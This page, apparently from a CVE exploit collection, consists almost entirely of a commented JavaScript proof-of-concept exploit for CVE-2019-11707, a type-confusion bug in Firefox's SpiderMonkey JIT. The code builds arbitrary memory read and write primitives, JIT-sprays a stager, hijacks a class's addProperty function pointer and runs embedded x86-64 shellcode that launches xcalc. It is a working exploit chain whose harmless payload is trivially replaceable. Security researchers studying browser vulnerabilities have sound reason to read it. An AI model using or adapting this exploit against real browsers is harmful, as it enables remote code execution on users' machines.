4837 Total CVEs
26 Years
GitHub
README.md
README.md not found for CVE-2019-11707. The file may not exist in the repository.
POC / exploit.js JS
/* exploit code start */

buf = []

/* okay, addition of this for loop somehow led to the bug not getting triggered
   Pushing stuff manually into the buf array works fine.
   I am not quite sure why this is happening and would be glad if someone can
   explain why this happens
*/

// for(var i=0;i<100;i++)
// {
//   buf.push(new ArrayBuffer(0x20));
// }


buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));
buf.push(new ArrayBuffer(0x20));


var abuf = buf[5];

var e = new Uint32Array(abuf);
const arr = [e, e, e, e, e];

/* funtion that will trigger the bug*/

function vuln(a1) {

    /*

    If the length of the array becomes zero then we set the third element of
    the array thus converting it into a sparse array without changing the
    type of the array elements. Thus spidermonkey's Type Inference System does
    not insert a type barrier.

    */

    if (arr.length == 0) {
        arr[3] = e;
    }

    const v11 = arr.pop();

    /*

    The length of the buffer is only 8, but we are trying to add to the index
    at 18. This will not work, but no error will be thrown either.

    When the array returned by array.pop is a Uint8Array instead of a Uint32Array,
    then the size of that array is 0x20 and the index that we are trying to write
    to, i.e 18, is less than that. But keep in mind that Ion still thinks that
    this array is a Uint32Array and treats each element as a DWORD, thus resulting
    in an overflow into the metadata of the following ArrayBuffer.

    Here we are overwriting the size field of the following ArrayBuffer with a large
    size, thus leading to an overflow in the data buffer of the following ArrayBuffer
    i.e buf[6]

    */
    v11[a1] = 0x80

    for (let v15 = 0; v15 < 100000; v15++) {} // JIT compile this function
}

/*

  Add a prototype to the arr arrray prototype chain and set the zero'th
  element as a Uint8Array to trigger the type confussion

*/

p = [new Uint8Array(abuf), e, e];
arr.__proto__ = p;

for (let v31 = 0; v31 < 2000; v31++) {
    vuln(18);
}

/*

  Now the size of the ArrayBufffer which is located at the sixth index is 0x80
  whereas it's data buffer is only 0x20.

  We use this overflow to completly control the ArrayBuffer at the 7th index

*/

leaker = new Uint8Array(buf[7]);
aa = new Uint8Array(buf[6]);

/*

  Now leak the contents of buf[7] to obtain leaks for a Uint Array, and an
  ArrayBuffer

*/

leak = aa.slice(0x50,0x58); // start of the Uint array
group = aa.slice(0x40,0x48); // start of the array buffer
slots = aa.slice(0x40,0x48);
leak.reverse()
group.reverse()
slots.reverse()

/*
   Since the pointer to the start of the data buffer is right shifted, we first
   need to left shift it.
*/

LS(group)
LS(slots)

/* remove the type tag */
leak[0]=0
leak[1]=0

/* Get to the data buffer of the Uint array */
add(leak,new data("0x38"))
RS(leak)
leak.reverse()

/*
  Set the data pointer of buf[7] using the overflow in buf[6]
  We set this pointer to point to the the address of the data pointer field of
  the Unit that we leaked.

  Thus next time a view is created using this modified ArrayBuffer, it's data pointer
  will point to the data pointer of the Uint array! So when we write something to
  this view, then the data pointer of the leaked Uint array will be overwritten.

  So we now have the power to control the data pointer a Uint array. Thus we can
  leak from any address we want and write to any address just by overwritting the
  data pointer of the Uint Array and viewing/writing to the Uint array.

  Thus we now effectively have an arbitrary read-write primitive!
*/

for (var i=0;i<leak.length;i++)
  aa[0x40+i] = leak[i]

leak.reverse()
LS(leak)
sub(leak,new data("0x10"))
leak.reverse()

changer = new Uint8Array(buf[7])

function write(addr,value){
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    value.reverse()
    for (var i=0;i<8;i++)
      leaker[i]=value[i]
}

function read(addr){
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    return leaker.slice(0,8)
}

function read_n(addr, n){
    write(leak,n)
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    return leaker
}

sub(group,new data("0x40")) // this now points to the group member
sub(slots,new data("0x30")) // this now points to the slots member
print1(group)
print1(slots)
group.reverse()
slots.reverse()

aa = read(group) // aa now contains the group pointer
aa.reverse()
print1(aa)
aa.reverse()

grp_ptr = read(aa) // grp_ptr is now the clasp_ pointer
grp_ptr.reverse()
print1(grp_ptr)
grp_ptr.reverse()

/* stager shellode */
buf[7].func = function func() {
  const magic = 4.183559446463817e-216;

  const g1 = 1.4501798452584495e-277
  const g2 = 1.4499730218924257e-277
  const g3 = 1.4632559875735264e-277
  const g4 = 1.4364759325952765e-277
  const g5 = 1.450128571490163e-277
  const g6 = 1.4501798485024445e-277
  const g7 = 1.4345589835166586e-277
  const g8 = 1.616527814e-314
}

/* JIT compile the shellcode */
for (i=0;i<100000;i++) buf[7].func()

/* get the address of the executable region where Ion code is located */

slots_ptr = read(slots)
slots_ptr.reverse()
print1(slots_ptr)
slots_ptr.reverse()

func_ptr = read(slots_ptr)
func_ptr[6]=0
func_ptr[7]=0
func_ptr.reverse()
print1(func_ptr)
func_ptr.reverse()

func_ptr.reverse()

add(func_ptr,new data("0x30"))
func_ptr.reverse()

func_ptr.reverse()
print1(func_ptr)
func_ptr.reverse()

jit_ptr=read(func_ptr);
jit_ptr.reverse()
print1(jit_ptr)
jit_ptr.reverse()

jitaddr = read(jit_ptr);

/*
  Find the address of the shellcode in the executable page.
  We go back one page and then search 2 pages from there2
*/

jitaddr[0]=0
jitaddr[1]=jitaddr[1] & 0xf0

jitaddr.reverse()
print1(jitaddr)
jitaddr.reverse()

jitaddr.reverse()
sub(jitaddr,new data("0xff0"))
jitaddr.reverse()

for(j=0;j<3;j++){
  asdf = read_n(jitaddr,new data("0xff0"))
  offset=-1;
  for (var i =0;i<0xff0;i++)
  {
    if (asdf[i]==0x37 && asdf[i+1]==0x13 && asdf[i+2]==0x37 && asdf[i+3]==0x13 && asdf[i+4]==0x37 && asdf[i+5]==0x13 && asdf[i+6]==0x37 && asdf[i+7]==0x13){
      offset=i;
      break
    }
  }

  /* we found the shellcode */
  if(offset!=-1)
    break

  jitaddr.reverse()
  add(jitaddr,new data("0xff0"))
  jitaddr.reverse()
}

offset = offset+8+6 // add the offset of the magic constant and also the mov instruction
jitaddr.reverse()
add(jitaddr,new data(offset.toString(16)))
jitaddr.reverse()
console.log(offset);

/* JS Class object */
jsClass = read_n(grp_ptr,new data("0x30"));

name = jsClass.slice(0,8)
flags = jsClass.slice(8,16)
cOps = jsClass.slice(16,24)
spec = jsClass.slice(24,32)
ext = jsClass.slice(40,48)
oOps = jsClass.slice(56,64)

group.reverse()
add(group,new data("0x60"))
group.reverse()

eight = new data("0x8")

function addEight()
{
  group.reverse()
  add(group,eight)
  group.reverse()
}

/* Lol, can I get more lazier :).... */
function write1(addr,value){
    for (var i=0;i<8;i++)
      changer[i]=addr[i]
    // value.reverse()
    for (var i=0;i<8;i++)
      leaker[i]=value[i]
}

/* We will be writting our crafted group to this address. So we save it now*/
backingbuffer = group.slice(0,8)

oops = group.slice(0,8)
oops.reverse()
add(oops,new data("0x30"))
oops.reverse()

write1(group,name)
addEight()
write1(group,flags)
addEight()
write1(group,oops)
addEight()
write1(group,spec)
addEight()
write1(group,ext)
addEight()
write1(group,oOps)
addEight()

/* set the addProperty function pointer to our shellcode */
write1(group,jitaddr)

sc_buffer = new Uint8Array(0x1000);
buf[7].asdf=sc_buffer

/* Leak the address of the shellcode UnitArray */
slots_ptr.reverse()
add(slots_ptr,eight)
slots_ptr.reverse()

sc_buffer_addr = read(slots_ptr)
sc_buffer_addr[6]=0
sc_buffer_addr[7]=0

/* Now get to the buffer of the shellcode array */
sc_buffer_addr.reverse()
add(sc_buffer_addr,new data("0x38"))
sc_buffer_addr.reverse()

/* ptr is the pointer to the shellcode (currenty it's rw) */
ptr = read(sc_buffer_addr)

ptr.reverse()
print1(ptr)
ptr.reverse()

/* convert the pointer to the shellcode buffer to float */
ptr.reverse()
ss=inttod(ptr)
ptr.reverse()

/* Shellcode for execve("/usr/bin/xcalc",[],["DISPLAY=:0"]) */
sc = [72, 141, 61, 73, 0, 0, 0, 72, 49, 246, 86, 87, 84, 94, 72, 49, 210, 82, 72, 141, 21, 87, 0, 0, 0, 82, 84, 90, 176, 59, 15, 5, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 144, 47, 117, 115, 114, 47, 98, 105, 110, 47, 120, 99, 97, 108, 99, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 73, 83, 80, 76, 65, 89, 61, 58, 48, 0]

/* Copy the shellcode to the shellcode buffer */
for(var i=0;i<sc.length;i++)
  sc_buffer[i]=sc[i]

write1(aa,backingbuffer)

/*
  call the addProperty function pointer
  the pointer to the shellcode buffer (sss) is present in rcx
*/
buf[7].jjj=ss